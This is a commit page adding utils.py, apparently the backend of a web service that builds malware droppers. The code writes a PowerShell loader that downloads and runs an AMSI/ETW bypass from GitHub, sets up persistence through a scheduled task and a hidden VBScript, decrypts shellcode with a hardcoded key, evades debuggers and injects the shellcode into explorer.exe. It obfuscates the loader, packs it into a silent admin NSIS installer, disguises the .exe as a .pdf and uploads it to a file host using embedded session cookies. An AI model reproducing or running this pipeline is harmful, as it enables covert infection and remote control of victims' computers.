sigyllly commited on
Commit
c63b7c6
·
verified ·
1 Parent(s): d26ff76

Upload utils.py

Browse files
Files changed (1) hide show
  1. utils.py +365 -0
utils.py ADDED
@@ -0,0 +1,365 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import subprocess
3
+ import random
4
+ import string
5
+ from datetime import datetime
6
+ from flask import jsonify, send_file, current_app
7
+ import shutil
8
+ import tempfile
9
+ import requests
10
+ import json
11
+ #https://ambelo-benjamin.hf.space/upload
12
+ BASE_DIR = os.path.abspath(os.path.dirname(__file__))
13
+ UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
14
+ COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
15
+ NSIS_COMPILER = "makensis"
16
+ OBFUSCATOR_SCRIPT = "Obfus\\main.ps1"
17
+
18
+ SERVER_URL = "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-send"
19
+ HEADERS = {
20
+ "Host": "chiselapp.com",
21
+ "Connection": "keep-alive",
22
+ "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarytI7POOg3X2lgL1Yr",
23
+ "sec-ch-ua-platform": '"Windows"',
24
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
25
+ "sec-ch-ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"',
26
+ "sec-ch-ua-mobile": "?0",
27
+ "Accept": "*/*",
28
+ "Origin": "https://chiselapp.com",
29
+ "Sec-Fetch-Site": "same-origin",
30
+ "Sec-Fetch-Mode": "cors",
31
+ "Sec-Fetch-Dest": "empty",
32
+ "Referer": "https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat",
33
+ "Accept-Encoding": "gzip, deflate, br, zstd",
34
+ "Accept-Language": "en-US,en;q=0.9,hi;q=0.8",
35
+ "Cookie": "fossil-9889a3796fb4c84c=0F6BFEC5A6792BA30BBCFC1F12F0E31772D58BD8F0B1CAE22E%2F9889a3796fb4c84c%2Fyolovi5126; PHPSESSID=7onhpb9ebdpja4nd20ulce9b63"
36
+ }
37
+
38
+ def generate_random_string(length=8):
39
+ return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
40
+
41
+ def obfuscate_powershell_script(ps1_path):
42
+ try:
43
+ cmd = f'powershell -EP Bypass -f "{OBFUSCATOR_SCRIPT}"'
44
+ process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
45
+ process.stdin.write(f"{ps1_path}\n")
46
+ process.stdin.flush()
47
+ stdout, stderr = process.communicate()
48
+ if process.returncode != 0:
49
+ raise Exception(f"Error obfuscating PowerShell script: {stderr}")
50
+ obfuscated_file = ps1_path.replace(".ps1", "_OBF.ps1")
51
+ return obfuscated_file
52
+ except Exception as e:
53
+ raise Exception(f"Obfuscation failed: {str(e)}")
54
+
55
+ def generate_nsi_script(folder_path, bin_file, ps1_file):
56
+ timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
57
+ installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
58
+
59
+ # NSIS script template
60
+ NSIS_SCRIPT_TEMPLATE = r"""
61
+ ; NeuraScope Insight Installer Script
62
+ !include "MUI2.nsh"
63
+ !include "LogicLib.nsh"
64
+ ; Basic definitions
65
+ Name "ProductName"
66
+ OutFile "{installer_output}"
67
+ InstallDir "$WINDIR\..\ProgramData\Installer"
68
+ RequestExecutionLevel admin
69
+ SetCompressor /SOLID lzma
70
+ SetCompressorDictSize 96
71
+ SetDatablockOptimize ON
72
+ ; Interface settings
73
+ !define MUI_ICON "C:\Users\Albert\Downloads\app.ico"
74
+ !define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
75
+ !define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
76
+ ; Pages
77
+ !insertmacro MUI_PAGE_WELCOME
78
+ !insertmacro MUI_PAGE_INSTFILES
79
+ !insertmacro MUI_LANGUAGE "English"
80
+ ; Basic Version Information
81
+ VIProductVersion "1.0.0.0"
82
+ VIAddVersionKey "ProductName" "ProductName"
83
+ VIAddVersionKey "CompanyName" "CompanyName"
84
+ VIAddVersionKey "LegalCopyright" "LegalCopyright"
85
+ VIAddVersionKey "FileVersion" "1.0.0.0"
86
+ VIAddVersionKey "FileDescription" "FileDescription"
87
+ ShowInstDetails hide
88
+ AutoCloseWindow true
89
+ Section "MainSection" SEC01
90
+ SetDetailsPrint none
91
+ SetOutPath "$WINDIR\..\ProgramData\Installer"
92
+ File "{bin_file}"
93
+ File "{ps1_file}"
94
+ ExecShell "" "$WINDIR\..\ProgramData\Installer\\Verification.ps1" SW_HIDE
95
+ SetAutoClose true
96
+ SectionEnd
97
+ """
98
+
99
+ script_content = NSIS_SCRIPT_TEMPLATE.format(
100
+ installer_output=installer_output,
101
+ bin_file=bin_file,
102
+ ps1_file=ps1_file,
103
+ )
104
+
105
+ nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
106
+ with open(nsi_file_path, 'w') as file:
107
+ file.write(script_content)
108
+
109
+ return nsi_file_path, installer_output
110
+
111
+ def compile_nsi_script(nsi_file_path):
112
+ try:
113
+ compile_cmd = [NSIS_COMPILER, nsi_file_path]
114
+ compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
115
+ if compile_result.returncode != 0:
116
+ raise Exception(f"NSIS Compile Error: {compile_result.stderr}")
117
+ return compile_result
118
+ except subprocess.CalledProcessError as e:
119
+ raise Exception(f"Compilation failed: {str(e)}")
120
+ except Exception as e:
121
+ raise Exception(f"Unexpected error during compilation: {str(e)}")
122
+
123
+ def upload_file_to_server(file_path):
124
+ try:
125
+ # Rename the file to have a .pdf extension
126
+ new_file_path = file_path.replace('.exe', '.pdf')
127
+ os.rename(file_path, new_file_path)
128
+
129
+ # Ensure the file exists
130
+ if not os.path.exists(new_file_path):
131
+ raise FileNotFoundError(f"File {new_file_path} not found.")
132
+
133
+ # Prepare the file and data for upload
134
+ file = {'file': (os.path.basename(new_file_path), open(new_file_path, 'rb'), 'application/pdf')}
135
+ # Additional form data
136
+ data = {
137
+ 'lmtime': '2024-12-31T18:33:58'
138
+ }
139
+
140
+ # Send the POST request with file and form data
141
+ response = requests.post(SERVER_URL, headers=HEADERS, files=file, data=data)
142
+
143
+ # Check the response
144
+ if response.status_code == 200:
145
+ # Assuming the response contains the URL with the ID
146
+ json_file = 'file_info.json'
147
+
148
+ # Check if the file_info.json exists
149
+ if os.path.exists(json_file):
150
+ with open(json_file, 'r') as f:
151
+ file_info = json.load(f)
152
+ else:
153
+ file_info = {}
154
+
155
+ # Initialize or increment the init_ID (last_id)
156
+ if 'init_ID' not in file_info:
157
+ file_info['init_ID'] = 1 # Start with ID 1 if not present
158
+ else:
159
+ file_info['init_ID'] += 1 # Increment the ID for the next upload
160
+
161
+ # Get the current ID to be used for the next upload
162
+ current_id = file_info['init_ID']
163
+
164
+ # Generate the download URL for the uploaded file using the current ID
165
+ download_url = f"https://chiselapp.com/user/yolovi5126/repository/yolovi5126/chat-download/{current_id}/{os.path.basename(new_file_path)}"
166
+
167
+ # Update the JSON with the new entry for this upload
168
+ file_info[current_id] = {
169
+ 'file_name': os.path.basename(new_file_path),
170
+ 'url': download_url
171
+ }
172
+
173
+ # Write the updated file_info to the JSON file
174
+ with open(json_file, 'w') as f:
175
+ json.dump(file_info, f, indent=4)
176
+
177
+ return download_url
178
+ else:
179
+ raise Exception(f"Failed to send request. Status Code: {response.status_code}\n{response.text}")
180
+ except Exception as e:
181
+ raise Exception(f"File upload failed: {str(e)}")
182
+
183
+ def process_request(request):
184
+ temp_dir = None # Initialize temp_dir to be used in the finally block
185
+ try:
186
+ # Save the incoming binary file
187
+ if 'file' not in request.files:
188
+ raise ValueError("No file part in the request")
189
+
190
+ file = request.files['file']
191
+ if file.filename == '':
192
+ raise ValueError("No selected file")
193
+
194
+ random_folder = generate_random_string()
195
+ temp_dir = tempfile.mkdtemp(prefix=random_folder, dir=UPLOAD_FOLDER)
196
+ bin_path = os.path.join(temp_dir, file.filename)
197
+ file.save(bin_path)
198
+
199
+ # Extract the file name from the full binary path
200
+ bin_file_name = os.path.basename(bin_path)
201
+
202
+ # Create the PowerShell script with the provided content
203
+ ps1_content = f'''
204
+ # Download and execute the script from the provided URL
205
+ iex (iwr -UseBasicParsing https://raw.githubusercontent.com/BlackShell256/Null-AMSI/refs/heads/main/Invoke-NullAMSI.ps1)
206
+
207
+ # Run the Invoke-NullAMSI command
208
+ Invoke-NullAMSI
209
+
210
+ Invoke-NullAMSI -etw
211
+
212
+ # Define the content of the VBScript
213
+ $vbsContent = @'
214
+ Set objShell = CreateObject("WScript.Shell")
215
+ objShell.Run "powershell -EP Bypass -File \\"C:\\ProgramData\\Installer\\Verification.ps1\\"", 0, True
216
+ '@
217
+
218
+ # Define the file path for the .vbs file in the desired location
219
+ $vbsFilePath = "C:\\ProgramData\\Installer\\0.vbs"
220
+
221
+ # Write the content to the .vbs file
222
+ $vbsContent | Set-Content -Path $vbsFilePath -Encoding ASCII
223
+
224
+ Write-Host "VBScript file created at: $vbsFilePath"
225
+
226
+ $Action = New-ScheduledTaskAction -Execute "C:\\ProgramData\\Installer\\0.vbs"
227
+ $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 365)
228
+ Register-ScheduledTask -TaskName "HiPPo Setting" -Action $Action -Trigger $Trigger -Force
229
+
230
+ # Define a fixed 16-byte key for encryption (fixed key as "MyFixedEncryptionKey")
231
+ $keyBytes = [System.Text.Encoding]::UTF8.GetBytes("MyFixedEncryptionKey")
232
+
233
+ # Ensure the key length is 16 bytes (AES requires 16, 24, or 32 bytes)
234
+ if ($keyBytes.Length -gt 16) {{
235
+ $keyBytes = $keyBytes[0..15] # Trim the key to 16 bytes if it's longer
236
+ }}
237
+ elseif ($keyBytes.Length -lt 16) {{
238
+ # If the key is too short, pad it with zeros to make it 16 bytes
239
+ $keyBytes = $keyBytes + (New-Object Byte[] (16 - $keyBytes.Length))
240
+ }}
241
+
242
+ # Function to download the encrypted binary from the server
243
+ function Download-EncryptedShellcode {{
244
+ param([string]$url)
245
+ # Download the encrypted binary file directly into memory as a byte array
246
+ $response = Invoke-WebRequest -Uri $url -UseBasicParsing
247
+ return $response.Content
248
+ }}
249
+
250
+ # Read the encrypted shellcode from a local binary file
251
+ $encryptedBuf = [System.IO.File]::ReadAllBytes("C:\\ProgramData\\Installer\\{bin_file_name}")
252
+
253
+ # Create an AES encryption object
254
+ $aes = [System.Security.Cryptography.Aes]::Create()
255
+
256
+ # Set the decryption key and initialization vector (IV)
257
+ $aes.Key = $keyBytes
258
+ $aes.IV = $keyBytes[0..15] # Use the first 16 bytes of the key for the IV
259
+
260
+ # Create a memory stream to hold the decrypted data
261
+ $memoryStream = New-Object System.IO.MemoryStream
262
+ $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $aes.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
263
+
264
+ # Decrypt the encrypted data into the memory stream
265
+ $cryptoStream.Write($encryptedBuf, 0, $encryptedBuf.Length)
266
+ $cryptoStream.Close()
267
+
268
+ # Get the decrypted shellcode
269
+ $buf = $memoryStream.ToArray()
270
+
271
+ # Anti-debugging mechanism
272
+ function IsDebuggerPresent {{
273
+ $IsDebuggerPresentCode = @"
274
+ using System;
275
+ using System.Runtime.InteropServices;
276
+
277
+ public class DebugHelper {{
278
+ [DllImport(\\"kernel32.dll\\")]
279
+ public static extern bool IsDebuggerPresent();
280
+ }}
281
+ "@
282
+ $debugHelper = Add-Type -TypeDefinition $IsDebuggerPresentCode -PassThru
283
+ return $debugHelper::IsDebuggerPresent()
284
+ }}
285
+
286
+ if (IsDebuggerPresent) {{
287
+ Write-Host "Debugger detected. Exiting."
288
+ exit
289
+ }}
290
+
291
+ # Inject shellcode into a target process (example: explorer.exe)
292
+ $Win32APICode = @"
293
+ using System;
294
+ using System.Runtime.InteropServices;
295
+
296
+ public class Win32API {{
297
+ [DllImport(\\"kernel32.dll\\", SetLastError = true, ExactSpelling = true)]
298
+ public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
299
+
300
+ [DllImport(\\"kernel32.dll\\", SetLastError = true)]
301
+ public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
302
+
303
+ [DllImport(\\"kernel32.dll\\", SetLastError = true)]
304
+ public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
305
+
306
+ [DllImport(\\"kernel32.dll\\", SetLastError = true)]
307
+ public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
308
+
309
+ [DllImport(\\"kernel32.dll\\", SetLastError = true)]
310
+ [return: MarshalAs(UnmanagedType.Bool)]
311
+ public static extern bool CloseHandle(IntPtr hObject);
312
+ }}
313
+ "@
314
+ $win32api = Add-Type -TypeDefinition $Win32APICode -PassThru
315
+
316
+ # Target process (explorer.exe) injection
317
+ $targetProcess = Get-Process explorer | Select-Object -First 1
318
+ $processHandle = $win32api::OpenProcess(0x1F0FFF, $false, $targetProcess.Id)
319
+
320
+ # Allocate memory in the target process
321
+ $size = 0x1000
322
+ if ($buf.Length -gt $size) {{ $size = $buf.Length }}
323
+ $remoteMemory = $win32api::VirtualAllocEx($processHandle, [IntPtr]::Zero, $size, 0x3000, 0x40)
324
+
325
+ # Write the shellcode into the allocated memory
326
+ $bytesWritten = [IntPtr]::Zero
327
+ $win32api::WriteProcessMemory($processHandle, $remoteMemory, $buf, $buf.Length, [ref]$bytesWritten)
328
+
329
+ # Create a remote thread to execute the shellcode
330
+ $threadId = [IntPtr]::Zero
331
+ $win32api::CreateRemoteThread($processHandle, [IntPtr]::Zero, 0, $remoteMemory, [IntPtr]::Zero, 0, [ref]$threadId)
332
+
333
+ # Close the process handle
334
+ $win32api::CloseHandle($processHandle)
335
+
336
+ Write-Host "Shellcode injection completed successfully."
337
+ '''
338
+ ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
339
+ with open(ps1_path, 'w') as ps1_file:
340
+ ps1_file.write(ps1_content)
341
+
342
+ # Obfuscate the PowerShell script
343
+ obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
344
+
345
+ # Rename the obfuscated file to Verification.ps1
346
+ verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
347
+ os.rename(obfuscated_ps1_path, verification_ps1_path)
348
+
349
+ # Generate and compile the NSIS script
350
+ nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
351
+ compile_nsi_script(nsi_file_path)
352
+
353
+ # Upload the resulting EXE file (renamed to PDF) to the server
354
+ download_url = upload_file_to_server(installer_output)
355
+
356
+ # Return the download URL in the response
357
+ return jsonify({"download_url": download_url})
358
+
359
+ except Exception as e:
360
+ current_app.logger.error(f"An error occurred: {str(e)}")
361
+ return jsonify({"error": str(e)}), 500
362
+ finally:
363
+ # Clean up temporary directories and files
364
+ if temp_dir and os.path.exists(temp_dir):
365
+ shutil.rmtree(temp_dir, ignore_errors=True)